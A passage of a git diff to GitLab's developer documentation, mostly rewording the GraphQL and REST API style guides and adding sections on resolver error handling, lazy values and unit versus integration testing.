+<!-- vale gitlab.FirstPerson = YES -->
+
+## Application Operator user stories
+
+<!-- vale gitlab.FirstPerson = NO -->
+
+- As an Application Operator, I want to standardize the deployments used by my teams,
+ so I can support all teams with minimal effort.
+- As an Application Operator, I want to have a single place to define all the deployments,
+ so I can assure security fixes are applied everywhere.
+- As an Application Operator, I want to offer a set of predefined templates to
+ Software Developers, so they can get started quickly and can deploy to production
+ without my intervention, and I am not a bottleneck.
+- As an Application Operator, I want to know exactly what changes are being deployed,
+ so I can fulfill my SLAs.
+- As an Application Operator, I want deep insights into what versions of my applications
+ are running and want to be able to debug them, so I can fix operational issues.
+- As an Application Operator, I want application code to be automatically deployed
+ to staging environments when new versions are available.
+- As an Application Operator, I want to follow my preferred deployment strategy,
+ so I can move code into production in a reliable way.
+- As an Application Operator, I want review all code before it's deployed into production,
+ so I can fulfill my SLAs.
+- As an Application Operator, I want to be notified before deployment when new code needs my attention,
+ so I can review it swiftly.
+
+<!-- vale gitlab.FirstPerson = YES -->
+
+## Platform Engineer user stories
+
+<!-- vale gitlab.FirstPerson = NO -->
+
+- As a Platform Engineer, I want to restrict customizations to preselected values
+ for Operators, so I can fulfill my SLAs.
+- As a Platform Engineer, I want to allow some level of customization to Operators,
+ so I don't become a bottleneck.
+- As a Platform Engineer, I want to define all deployments in a single place, so
+ I can assure security fixes are applied everywhere.
+- As a Platform Engineer, I want to define the infrastructure by code, so my
+ infrastructure management is testable, reproducible, traceable, and scalable.
+- As a Platform Engineer, I want to define various policies that applications must
+ follow, so that I can fulfill my SLAs.
+- As a Platform Engineer, I want approved tooling for log management and persistent storage,
+ so I can scale, secure, and manage them as needed.
+- As a Platform Engineer, I want to be alerted when my infrastructure differs from
+ its definition, so I can make sure that everything is configured as expected.
+
+<!-- vale gitlab.FirstPerson = YES -->
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index 0e81a332d6c..832a89ecac1 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GraphQL API style guide
-This document outlines the style guide for GitLab's [GraphQL API](../api/graphql/index.md).
+This document outlines the style guide for the GitLab [GraphQL API](../api/graphql/index.md).
## How GitLab implements GraphQL
@@ -19,7 +19,7 @@ which is exposed as an API endpoint at `/api/graphql`.
## Deep Dive
In March 2019, Nick Thomas hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on GitLab's [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge
+on the GitLab [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge
with anyone who may work in this part of the codebase in the future. You can find the
[recording on YouTube](https://www.youtube.com/watch?v=-9L_1MWrjkg), and the slides on
[Google Slides](https://docs.google.com/presentation/d/1qOTxpkTdHIp1CRjuTvO-aXg0_rUtzE3ETfLUdnBB5uQ/edit)
@@ -44,7 +44,7 @@ add a `HTTP_PRIVATE_TOKEN` header.
## Global IDs
-GitLab's GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`)
+The GitLab GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`)
and never database primary key IDs.
Global ID is [a convention](https://graphql.org/learn/global-object-identification/)
@@ -154,7 +154,7 @@ Further reading:
### Exposing Global IDs
-In keeping with GitLab's use of [Global IDs](#global-ids), always convert
+In keeping with the GitLab use of [Global IDs](#global-ids), always convert
database primary key IDs into Global IDs when you expose them.
All fields named `id` are
@@ -179,7 +179,7 @@ end
### Connection types
-TIP: **Tip:**
+NOTE:
For specifics on implementation, see [Pagination implementation](#pagination-implementation).
GraphQL uses [cursor based
@@ -268,8 +268,8 @@ query($project_path: ID!) {
}
```
-To ensure that we get consistent ordering, we will append an ordering on the primary
-key, in descending order. This is usually `id`, so basically we will add `order(id: :desc)`
+To ensure that we get consistent ordering, we append an ordering on the primary
+key, in descending order. This is usually `id`, so we add `order(id: :desc)`
to the end of the relation. A primary key _must_ be available on the underlying table.
#### Shortcut fields
@@ -310,12 +310,12 @@ class MergeRequestPermissionsType < BasePermissionType
abilities :admin_merge_request, :update_merge_request, :create_note
ability_field :resolve_note,
- description: 'Indicates the user can resolve discussions on the merge request'
+ description: 'Indicates the user can resolve discussions on the merge request.'
permission_field :push_to_source_branch, method: :can_push_to_source_branch?
end
```
-- **`permission_field`**: Will act the same as `graphql-ruby`'s
+- **`permission_field`**: Acts the same as `graphql-ruby`'s
`field` method but setting a default description and type and making
them non-nullable. These options can still be overridden by adding
them as arguments.
@@ -323,7 +323,7 @@ end
behaves the same way as `permission_field` and the same
arguments can be overridden.
- **`abilities`**: Allows exposing several abilities defined in our
- policies at once. The fields for these will all have be non-nullable
+ policies at once. The fields for these must all be non-nullable
booleans with a default description.
## Feature flags
@@ -331,7 +331,7 @@ end
Developers can add [feature flags](../development/feature_flags/index.md) to GraphQL
fields in the following ways:
-- Add the `feature_flag` property to a field. This will allow the field to be _hidden_
+- Add the `feature_flag` property to a field. This allows the field to be _hidden_
from the GraphQL schema when the flag is disabled.
- Toggle the return value when resolving the field.
@@ -339,7 +339,7 @@ You can refer to these guidelines to decide which approach to use:
- If your field is experimental, and its name or type is subject to
change, use the `feature_flag` property.
-- If your field is stable and its definition will not change, even after the flag is
+- If your field is stable and its definition doesn't change, even after the flag is
removed, toggle the return value of the field instead. Note that
[all fields should be nullable](#nullable-fields) anyway.
@@ -347,15 +347,15 @@ You can refer to these guidelines to decide which approach to use:
The `feature_flag` property allows you to toggle the field's
[visibility](https://graphql-ruby.org/authorization/visibility.html)
-within the GraphQL schema. This will remove the field from the schema
+within the GraphQL schema. This removes the field from the schema
when the flag is disabled.
A description is [appended](https://gitlab.com/gitlab-org/gitlab/-/blob/497b556/app/graphql/types/base_field.rb#L44-53)
to the field indicating that it is behind a feature flag.
-CAUTION: **Caution:**
-If a client queries for the field when the feature flag is disabled, the query will
-fail. Consider this when toggling the visibility of the feature on or off on
+WARNING:
+If a client queries for the field when the feature flag is disabled, the query
+fails. Consider this when toggling the visibility of the feature on or off on
production.
The `feature_flag` property does not allow the use of
@@ -369,7 +369,7 @@ Example:
```ruby
field :test_field, type: GraphQL::STRING_TYPE,
null: true,
- description: 'Some test field',
+ description: 'Some test field.',
feature_flag: :my_feature_flag
```
@@ -385,7 +385,7 @@ When applying a feature flag to toggle the value of a field, the
- State that the value of the field can be toggled by a feature flag.
- Name the feature flag.
-- State what the field will return when the feature flag is disabled (or
+- State what the field returns when the feature flag is disabled (or
enabled, if more appropriate).
Example:
@@ -394,7 +394,7 @@ Example:
field :foo, GraphQL::STRING_TYPE,
null: true,
description: 'Some test field. Will always return `null`' \
- 'if `my_feature_flag` feature flag is disabled'
+ 'if `my_feature_flag` feature flag is disabled.'
def foo
object.foo if Feature.enabled?(:my_feature_flag, object)
@@ -403,11 +403,11 @@ end
## Deprecating fields and enum values
-GitLab's GraphQL API is versionless, which means we maintain backwards
+The GitLab GraphQL API is versionless, which means we maintain backwards
compatibility with older versions of the API with every change. Rather
than removing a field or [enum value](#enums), we need to _deprecate_ it instead.
The deprecated parts of the schema can then be removed in a future release
-in accordance with [GitLab's deprecation process](../api/graphql/index.md#deprecation-process).
+in accordance with the [GitLab deprecation process](../api/graphql/index.md#deprecation-process).
Fields and enum values are deprecated using the `deprecated` property.
The value of the property is a `Hash` of:
@@ -420,12 +420,12 @@ Example:
```ruby
field :token, GraphQL::STRING_TYPE, null: true,
deprecated: { reason: 'Login via token has been removed', milestone: '10.0' },
- description: 'Token for login'
+ description: 'Token for login.'
```
The original `description` of the things being deprecated should be maintained,
-and should _not_ be updated to mention the deprecation. Instead, the `reason` will
-be appended to the `description`.
+and should _not_ be updated to mention the deprecation. Instead, the `reason`
+is appended to the `description`.
### Deprecation reason style guide
@@ -441,7 +441,7 @@ Example:
```ruby
field :designs, ::Types::DesignManagement::DesignCollectionType, null: true,
deprecated: { reason: 'Use `designCollection`', milestone: '10.0' },
- description: 'The designs associated with this issue',
+ description: 'The designs associated with this issue.',
```
```ruby
@@ -477,20 +477,20 @@ module Types
graphql_name 'TrafficLightState'
description 'State of a traffic light'
- value 'RED', description: 'Drivers must stop'
- value 'YELLOW', description: 'Drivers must stop when it is safe to'
- value 'GREEN', description: 'Drivers can start or keep driving'
+ value 'RED', description: 'Drivers must stop.'
+ value 'YELLOW', description: 'Drivers must stop when it is safe to.'
+ value 'GREEN', description: 'Drivers can start or keep driving.'
end
end
```
-If the enum will be used for a class property in Ruby that is not an uppercase string,
-you can provide a `value:` option that will adapt the uppercase value.
+If the enum is used for a class property in Ruby that is not an uppercase string,
+you can provide a `value:` option that adapts the uppercase value.
In the following example:
-- GraphQL inputs of `OPENED` will be converted to `'opened'`.
-- Ruby values of `'opened'` will be converted to `"OPENED"` in GraphQL responses.
+- GraphQL inputs of `OPENED` are converted to `'opened'`.
+- Ruby values of `'opened'` are converted to `"OPENED"` in GraphQL responses.
```ruby
module Types
@@ -498,8 +498,8 @@ module Types
graphql_name 'EpicState'
description 'State of a GitLab epic'
- value 'OPENED', value: 'opened', description: 'An open Epic'
- value 'CLOSED', value: 'closed', description: 'An closed Epic'
+ value 'OPENED', value: 'opened', description: 'An open Epic.'
+ value 'CLOSED', value: 'closed', description: 'A closed Epic.'
end
end
```
@@ -523,7 +523,7 @@ module Types
description 'Incident severity'
::IssuableSeverity.severities.keys.each do |severity|
- value severity.upcase, value: severity, description: "#{severity.titleize} severity"
+ value severity.upcase, value: severity, description: "#{severity.titleize} severity."
end
end
end
@@ -536,7 +536,7 @@ When data to be returned by GraphQL is stored as
GraphQL types whenever possible. Avoid using the `GraphQL::Types::JSON` type unless
the JSON data returned is _truly_ unstructured.
-If the structure of the JSON data varies, but will be one of a set of known possible
+If the structure of the JSON data varies, but is one of a set of known possible
structures, use a
[union](https://graphql-ruby.org/type_definitions/unions.html).
An example of the use of a union for this purpose is
@@ -562,15 +562,15 @@ We can use GraphQL types like this:
```ruby
module Types
class ChartType < BaseObject
- field :title, GraphQL::STRING_TYPE, null: true, description: 'Title of the chart'
- field :data, [Types::ChartDatumType], null: true, description: 'Data of the chart'
+ field :title, GraphQL::STRING_TYPE, null: true, description: 'Title of the chart.'
+ field :data, [Types::ChartDatumType], null: true, description: 'Data of the chart.'
end
end
module Types
class ChartDatumType < BaseObject
- field :x, GraphQL::INT_TYPE, null: true, description: 'X-axis value of the chart datum'
- field :y, GraphQL::INT_TYPE, null: true, description: 'Y-axis value of the chart datum'
+ field :x, GraphQL::INT_TYPE, null: true, description: 'X-axis value of the chart datum.'
+ field :y, GraphQL::INT_TYPE, null: true, description: 'Y-axis value of the chart datum.'
end
end
```
@@ -584,7 +584,7 @@ A description of a field or argument is given using the `description:`
keyword. For example:
```ruby
-field :id, GraphQL::ID_TYPE, description: 'ID of the resource'
+field :id, GraphQL::ID_TYPE, description: 'ID of the resource.'
```
Descriptions of fields and arguments are viewable to users through:
@@ -605,20 +605,20 @@ descriptions:
this field do?". Example: `'Indicates project has a Git repository'`.
- Always include the word `"timestamp"` when describing an argument or
field of type `Types::TimeType`. This lets the reader know that the
- format of the property will be `Time`, rather than just `Date`.
-- No `.` at end of strings.
+ format of the property is `Time`, rather than just `Date`.
+- Must end with a period (`.`).
Example:
```ruby
-field :id, GraphQL::ID_TYPE, description: 'ID of the Issue'
-field :confidential, GraphQL::BOOLEAN_TYPE, description: 'Indicates the issue is confidential'
-field :closed_at, Types::TimeType, description: 'Timestamp of when the issue was closed'
+field :id, GraphQL::ID_TYPE, description: 'ID of the issue.'
+field :confidential, GraphQL::BOOLEAN_TYPE, description: 'Indicates the issue is confidential.'
+field :closed_at, Types::TimeType, description: 'Timestamp of when the issue was closed.'
```
### `copy_field_description` helper
-Sometimes we want to ensure that two descriptions will always be identical.
+Sometimes we want to ensure that two descriptions are always identical.
For example, to keep a type field description the same as a mutation argument
when they both represent the same property.
@@ -641,13 +641,13 @@ abilities as in the Rails app.
If the:
- Currently authenticated user fails the authorization, the authorized
- resource will be returned as `null`.
-- Resource is part of a collection, the collection will be filtered to
+ resource is returned as `null`.
+- Resource is part of a collection, the collection is filtered to
exclude the objects that the user's authorization checks failed against.
Also see [authorizing resources in a mutation](#authorizing-resources).
-TIP: **Tip:**
+NOTE:
Try to load only what the currently authenticated user is allowed to
view with our existing finders first, without relying on authorization
to filter the records. This minimizes database queries and unnecessary
@@ -656,7 +656,7 @@ authorization checks of the loaded records.
### Type authorization
Authorize a type by passing an ability to the `authorize` method. All
-fields with the same type will be authorized by checking that the
+fields with the same type is authorized by checking that the
currently authenticated user has the required ability.
For example, the following authorization ensures that the currently
@@ -785,7 +785,7 @@ end
You should never re-use resolvers directly. Resolvers have a complex life-cycle, with
authorization, readiness and resolution orchestrated by the framework, and at
-each stage lazy values can be returned to take advantage of batching
+each stage [lazy values](#laziness) can be returned to take advantage of batching
opportunities. Never instantiate a resolver or a mutation in application code.
Instead, the units of code reuse are much the same as in the rest of the
@@ -803,6 +803,32 @@ overhead. If you are writing:
- A `Mutation`, feel free to lookup objects directly.
- A `Resolver` or methods on a `BaseObject`, then you want to allow for batching.
+### Error handling
+
+Resolvers may raise errors, which will be converted to top-level errors as
+appropriate. All anticipated errors should be caught and transformed to an
+appropriate GraphQL error (see
+[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/graphql/errors.rb)).
+Any uncaught errors will be suppressed and the client will receive the message
+`Internal service error`.
+
+The one special case is permission errors. In the REST API we return
+`404 Not Found` for any resources that the user does not have permission to
+access. The equivalent behavior in GraphQL is for us to return `null` for
+all absent or unauthorized resources.
+Query resolvers **should not raise errors for unauthorized resources**.
+
+The rationale for this is that clients must not be able to distinguish between
+the absence of a record and the presence of one they do not have access to. To
+do so is a security vulnerability, since it leaks information we want to keep
+hidden.
+
+In most cases you don't need to worry about this - this is handled correctly by
+the resolver field authorization we declare with the `authorize` DSL calls. If
+you need to do something more custom however, remember, if you encounter an
+object the `current_user` does not have access to when resolving a field, then
+the entire field should resolve to `null`.
+
### Deriving resolvers (`BaseResolver.single` and `BaseResolver.last`)
For some simple use cases, we can derive resolvers from others.
@@ -889,8 +915,8 @@ Then we can use these resolver on fields:
```ruby
# In PipelineType
-field :jobs, resolver: JobsResolver, description: 'All jobs'
-field :job, resolver: JobsResolver.single, description: 'A single job'
+field :jobs, resolver: JobsResolver, description: 'All jobs.'
+field :job, resolver: JobsResolver.single, description: 'A single job.'
```
### Correct use of `Resolver#ready?`
@@ -922,7 +948,7 @@ before calling `resolve`! An example can be seen in our [`GraphQLHelpers`](https
The full query is known in advance during execution, which means we can make use
of [lookahead](https://graphql-ruby.org/queries/lookahead.html) to optimize our
-queries, and batch load associations we know we will need. Consider adding
+queries, and batch load associations we know we need. Consider adding
lookahead support in your resolvers to avoid `N+1` performance issues.
To enable support for common lookahead use-cases (pre-loading associations when
@@ -965,7 +991,7 @@ to advertise the need for lookahead:
field :my_things, MyThingType.connection_type, null: true,
extras: [:lookahead], # Necessary
resolver: MyThingResolver,
- description: 'My things'
+ description: 'My things.'
```
For an example of real world use, please
@@ -996,7 +1022,7 @@ When using resolvers, they can and should serve as the SSoT for field metadata.
All field options (apart from the field name) can be declared on the resolver.
These include:
-- `type` (this is particularly important, and will soon be mandatory)
+- `type` (this is particularly important, and is planned to be mandatory)
- `extras`
- `description`
@@ -1034,7 +1060,7 @@ To find the parent object in your `Presenter` class:
field :computed_field, SomeType, null: true,
method: :my_computing_method,
extras: [:parent], # Necessary
- description: 'My field description'
+ description: 'My field description.'
field :resolver_field, resolver: SomeTypeResolver
@@ -1042,7 +1068,7 @@ To find the parent object in your `Presenter` class:
extras [:parent]
type SomeType, null: true
- description 'My field description'
+ description 'My field description.'
```
1. Declare your field's method in your Presenter class and have it accept the `parent` keyword argument.
@@ -1080,7 +1106,7 @@ are returned as the result of the mutation.
#### Update mutation granularity
-GitLab's service-oriented architecture means that most mutations call a Create, Delete, or Update
+The service-oriented architecture in GitLab means that most mutations call a Create, Delete, or Update
service, for example `UpdateMergeRequestService`.
For Update mutations, a you might want to only update one aspect of an object, and thus only need a
_fine-grained_ mutation, for example `MergeRequest::SetWip`.
@@ -1161,10 +1187,10 @@ Example:
```ruby
argument :my_arg, GraphQL::STRING_TYPE,
required: true,
- description: "A description of the argument"
+ description: "A description of the argument."
```
-Each GraphQL `argument` defined will be passed to the `#resolve` method
+Each GraphQL `argument` defined is passed to the `#resolve` method
of a mutation as keyword arguments.
Example:
@@ -1175,7 +1201,7 @@ def resolve(my_arg:)
end
```
-`graphql-ruby` will automatically wrap up arguments into an
+`graphql-ruby` wraps up arguments into an
[input type](https://graphql.org/learn/schema/#input-types).
For example, the
@@ -1186,11 +1212,11 @@ defines these arguments (some
```ruby
argument :project_path, GraphQL::ID_TYPE,
required: true,
- description: "The project the merge request to mutate is in"
+ description: "The project the merge request to mutate is in."
argument :iid, GraphQL::STRING_TYPE,
required: true,
- description: "The iid of the merge request to mutate"
+ description: "The IID of the merge request to mutate."
argument :wip,
GraphQL::BOOLEAN_TYPE,
@@ -1207,7 +1233,7 @@ These arguments automatically generate an input type called
### Object identifier arguments
-In keeping with GitLab's use of [Global IDs](#global-ids), mutation
+In keeping with the GitLab use of [Global IDs](#global-ids), mutation
arguments should use Global IDs to identify an object and never database
primary key IDs.
@@ -1231,7 +1257,7 @@ single mutation when multiple are performed within a single request.
### The `resolve` method
The `resolve` method receives the mutation's arguments as keyword arguments.
-From here, we can call the service that will modify the resource.
+From here, we can call the service that modifies the resource.
The `resolve` method should then return a hash with the same field
names as defined on the mutation including an `errors` array. For example,
@@ -1242,7 +1268,7 @@ field:
field :merge_request,
Types::MergeRequestType,
null: true,
- description: "The merge request after mutation"
+ description: "The merge request after mutation."
```
This means that the hash returned from `resolve` in this mutation
@@ -1262,8 +1288,8 @@ should look like this:
### Mounting the mutation
To make the mutation available it must be defined on the mutation
-type that lives in `graphql/types/mutation_types`. The
-`mount_mutation` helper method will define a field based on the
+type that is stored in `graphql/types/mutation_types`. The
+`mount_mutation` helper method defines a field based on the
GraphQL-name of the mutation:
```ruby
@@ -1278,7 +1304,7 @@ module Types
end
```
-Will generate a field called `mergeRequestSetWip` that
+Generates a field called `mergeRequestSetWip` that
`Mutations::MergeRequests::SetWip` to be resolved.
### Authorizing resources
@@ -1301,13 +1327,13 @@ end
We can then call `authorize!` in the `resolve` method, passing in the resource we
want to validate the abilities for.
-Alternatively, we can add a `find_object` method that will load the
+Alternatively, we can add a `find_object` method that loads the
object on the mutation. This would allow you to use the
`authorized_find!` helper method.
When a user is not allowed to perform the action, or an object is not
found, we should raise a
-`Gitlab::Graphql::Errors::ResourceNotAvailable` error. Which will be
+`Gitlab::Graphql::Errors::ResourceNotAvailable` error which is
correctly rendered to the clients.
### Errors in mutations
@@ -1418,8 +1444,8 @@ of errors should be treated as internal, and not shown to the user in specific
detail.
We need to inform the user when the mutation fails, but we do not need to
-tell them why, since they cannot have caused it, and nothing they can do will
-fix it, although we may offer to retry the mutation.
+tell them why, since they cannot have caused it, and nothing they can do
+fixes it, although we may offer to retry the mutation.
#### Categorizing errors
@@ -1483,7 +1509,7 @@ Sometimes a mutation or resolver may accept a number of optional
arguments, but we still want to validate that at least one of the optional
arguments is provided. In this situation, consider using the `#ready?`
method within your mutation or resolver to provide the validation. The
-`#ready?` method will be called before any work is done within the
+`#ready?` method is called before any work is done within the
`#resolve` method.
Example:
@@ -1504,7 +1530,7 @@ In the future this may be able to be done using `InputUnions` if
[this RFC](https://github.com/graphql/graphql-spec/blob/master/rfcs/InputUnion.md)
is merged.
-## GitLab's custom scalars
+## GitLab custom scalars
### `Types::TimeType`
@@ -1527,37 +1553,71 @@ and handles time inputs.
Example:
```ruby
-field :created_at, Types::TimeType, null: true, description: 'Timestamp of when the issue was created'
+field :created_at, Types::TimeType, null: true, description: 'Timestamp of when the issue was created.'
```
## Testing
-_full stack_ tests for a graphql query or mutation live in
+### Writing unit tests
+
+Before creating unit tests, review the following examples:
+
+- [`spec/graphql/resolvers/users_resolver_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/resolvers/users_resolver_spec.rb)
+- [`spec/graphql/mutations/issues/create_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/mutations/issues/create_spec.rb)
+
+It's faster to test as much of the logic from your GraphQL queries and mutations
+with unit tests, which are stored in `spec/graphql`.
+
+Use unit tests to verify that:
+
+- Types have the expected fields.
+- Resolvers and mutations apply authorizations and return expected data.
+- Edge cases are handled correctly.
+
+### Writing integration tests
+
+Integration tests check the full stack for a GraphQL query or mutation and are stored in
`spec/requests/api/graphql`.
-When adding a query, the `a working graphql query` shared example can
-be used to test if the query renders valid results.
+For speed, you should test most logic in unit tests instead of integration tests.
+However, integration tests that check if data is returned verify the following
+additional items:
+
+- The mutation is actually queryable within the schema (was mounted in `MutationType`).
+- The data returned by a resolver or mutation correctly matches the
+ [return types](https://graphql-ruby.org/fields/introduction.html#field-return-type) of
+ the fields and resolves without errors.
+
+Integration tests can also verify the following items, because they invoke the
+full stack:
+
+- An argument or scalar's [`prepare`](#validating-arguments) applies correctly.
+- Logic in a resolver or mutation's [`#ready?` method](#correct-use-of-resolverready) applies correctly.
+- An [argument's `default_value`](https://graphql-ruby.org/fields/arguments.html) applies correctly.
+- Objects resolve performantly and there are no N+1 issues.
-Using the `GraphqlHelpers#all_graphql_fields_for`-helper, a query
-including all available fields can be constructed. This makes it easy
-to add a test rendering all possible fields for a query.
+When adding a query, you can use the `a working graphql query` shared example to test if the query
+renders valid results.
+
+You can construct a query including all available fields using the `GraphqlHelpers#all_graphql_fields_for`
+helper. This makes it easy to add a test rendering all possible fields for a query.
If you're adding a field to a query that supports pagination and sorting,
visit [Testing](graphql_guide/pagination.md#testing) for details.
-To test GraphQL mutation requests, `GraphqlHelpers` provides 2
+To test GraphQL mutation requests, `GraphqlHelpers` provides two
helpers: `graphql_mutation` which takes the name of the mutation, and
-a hash with the input for the mutation. This will return a struct with
+a hash with the input for the mutation. This returns a struct with
a mutation query, and prepared variables.
-This struct can then be passed to the `post_graphql_mutation` helper,
-that will post the request with the correct parameters, like a GraphQL
+You can then pass this struct to the `post_graphql_mutation` helper,
+that posts the request with the correct parameters, like a GraphQL
client would do.
-To access the response of a mutation, the `graphql_mutation_response`
-helper is available.
+To access the response of a mutation, you can use the `graphql_mutation_response`
+helper.
-Using these helpers, we can build specs like this:
+Using these helpers, you can build specs like this:
```ruby
let(:mutation) do
@@ -1629,13 +1689,13 @@ end
- Mimic the folder structure of `app/graphql/types`:
For example, tests for fields on `Types::Ci::PipelineType`
- in `app/graphql/types/ci/pipeline_type.rb` should live in
+ in `app/graphql/types/ci/pipeline_type.rb` should be stored in
`spec/requests/api/graphql/ci/pipeline_spec.rb` regardless of the query being
used to fetch the pipeline data.
## Notes about Query flow and GraphQL infrastructure
-GitLab's GraphQL infrastructure can be found in `lib/gitlab/graphql`.
+The GitLab GraphQL infrastructure can be found in `lib/gitlab/graphql`.
[Instrumentation](https://graphql-ruby.org/queries/instrumentation.html) is functionality
that wraps around a query being executed. It is implemented as a module that uses the `Instrumentation` class.
@@ -1702,3 +1762,19 @@ For guidance, see the [GraphQL API](documentation/graphql_styleguide.md) page.
## Include a changelog entry
All client-facing changes **must** include a [changelog entry](changelog.md).
+
+## Laziness
+
+One important technique unique to GraphQL for managing performance is
+using **lazy** values. Lazy values represent the promise of a result,
+allowing their action to be run later, which enables batching of queries in
+different parts of the query tree. The main example of lazy values in our code is
+the [GraphQL BatchLoader](graphql_guide/batchloader.md).
+
+To manage lazy values directly, read `Gitlab::Graphql::Lazy`, and in
+particular `Gitlab::Graphql::Laziness`. This contains `#force` and
+`#delay`, which help implement the basic operations of creation and
+elimination of laziness, where needed.
+
+For dealing with lazy values without forcing them, use
+`Gitlab::Graphql::Lazy.with_value`.
diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md
index d21975a43d2..b2c93f16770 100644
--- a/doc/development/api_styleguide.md
+++ b/doc/development/api_styleguide.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# API style guide
@@ -34,7 +34,7 @@ for a good example):
- `desc` for the method summary. You should pass it a block for additional
details such as:
- The GitLab version when the endpoint was added. If it is behind a feature flag, mention that instead: _This feature is gated by the :feature\_flag\_symbol feature flag._
- - If the endpoint is deprecated, and if so, when will it be removed
+ - If the endpoint is deprecated, and if so, its planned removal date
- `params` for the method parameters. This acts as description,
[validation, and coercion of the parameters](https://github.com/ruby-grape/grape#parameter-validation-and-coercion)
@@ -72,7 +72,7 @@ parent namespaces.
– <https://github.com/ruby-grape/grape#include-parent-namespaces>
-In most cases you will want to exclude parameters from the parent namespaces:
+In most cases you should exclude parameters from the parent namespaces:
```ruby
declared(params, include_parent_namespaces: false)
@@ -93,8 +93,8 @@ User.create(params) # imagine the user submitted `admin=1`... :)
User.create(declared(params, include_parent_namespaces: false).to_h)
```
-NOTE: **Note:**
-`declared(params)` return a `Hashie::Mash` object, on which you will have to
+NOTE:
+`declared(params)` return a `Hashie::Mash` object, on which you must
call `.to_h`.
But we can use `params[key]` directly when we access single elements.
@@ -109,7 +109,7 @@ Model.create(foo: params[:foo])
## Array types
With Grape v1.3+, Array types must be defined with a `coerce_with`
-block, or parameters will fail to validate when passed a string from an
+block, or parameters, fails to validate when passed a string from an
API request. See the [Grape upgrading
documentation](https://github.com/ruby-grape/grape/blob/master/UPGRADING.md#ensure-that-array-types-have-explicit-coercions)
for more details.
@@ -140,7 +140,7 @@ before do
end
```
-With this change, a request to PUT `/test?user_ids` will cause Grape to
+With this change, a request to PUT `/test?user_ids` causes Grape to
pass `params` to be `{ user_ids: [] }`.
There is [an open issue in the Grape tracker](https://github.com/ruby-grape/grape/issues/2068)
@@ -148,7 +148,7 @@ to make this easier.
## Using HTTP status helpers
-For non-200 HTTP responses, use the provided helpers in `lib/api/helpers.rb` to ensure correct behavior (`not_found!`, `no_content!` etc.). These will `throw` inside Grape and abort the execution of your endpoint.
+For non-200 HTTP responses, use the provided helpers in `lib/api/helpers.rb` to ensure correct behavior (`not_found!`, `no_content!` etc.). These `throw` inside Grape and abort the execution of your endpoint.
For `DELETE` requests, you should also generally use the `destroy_conditionally!` helper which by default returns a `204 No Content` response on success, or a `412 Precondition Failed` response if the given `If-Unmodified-Since` header is out of range. This helper calls `#destroy` on the passed resource, but you can also implement a custom deletion method by passing a block.
@@ -249,7 +249,7 @@ In order to avoid N+1 problems that are common when returning collections
of records in an API endpoint, we should use eager loading.
A standard way to do this within the API is for models to implement a
-scope called `with_api_entity_associations` that will preload the
+scope called `with_api_entity_associations` that preloads the
associations and data returned in the API. An example of this scope can
be seen in
[the `Issue` model](https://gitlab.com/gitlab-org/gitlab/blob/2fedc47b97837ea08c3016cf2fb773a0300a4a25/app%2Fmodels%2Fissue.rb#L62).
@@ -259,7 +259,7 @@ In situations where the same model has multiple entities in the API
discretion with applying this scope. It may be that you optimize for the
most basic entity, with successive entities building upon that scope.
-The `with_api_entity_associations` scope will also [automatically preload
+The `with_api_entity_associations` scope also [automatically preloads
data](https://gitlab.com/gitlab-org/gitlab/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34)
for `Todo` _targets_ when returned in the [to-dos API](../api/todos.md).
diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md
index 41fcf5301ad..c661ff3f617 100644
--- a/doc/development/application_limits.md
+++ b/doc/development/application_limits.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Application limits development
@@ -12,7 +12,7 @@ limits to GitLab.
## Documentation
First of all, you have to gather information and decide which are the different
-limits that will be set for the different GitLab tiers. You also need to
+limits that are set for the different GitLab tiers. You also need to
coordinate with others to [document](../administration/instance_limits.md)
and communicate those limits.
@@ -63,7 +63,7 @@ It's recommended to create two separate migration script files.
end
```
- Some plans exist only on GitLab.com. This will be a no-op for plans
+ Some plans exist only on GitLab.com. This is a no-op for plans
that do not exist.
### Plan limits validation
diff --git a/doc/development/application_secrets.md b/doc/development/application_secrets.md
index abc5ff7b985..92b18f5ad78 100644
--- a/doc/development/application_secrets.md
+++ b/doc/development/application_secrets.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Application secrets
@@ -16,20 +16,21 @@ This page is a development guide for application secrets.
| `otp_key_base` | The base key for One Time Passwords, described in [User management](../raketasks/user_management.md#rotate-two-factor-authentication-encryption-key) |
|`db_key_base` | The base key to encrypt the data for `attr_encrypted` columns |
|`openid_connect_signing_key` | The singing key for OpenID Connect |
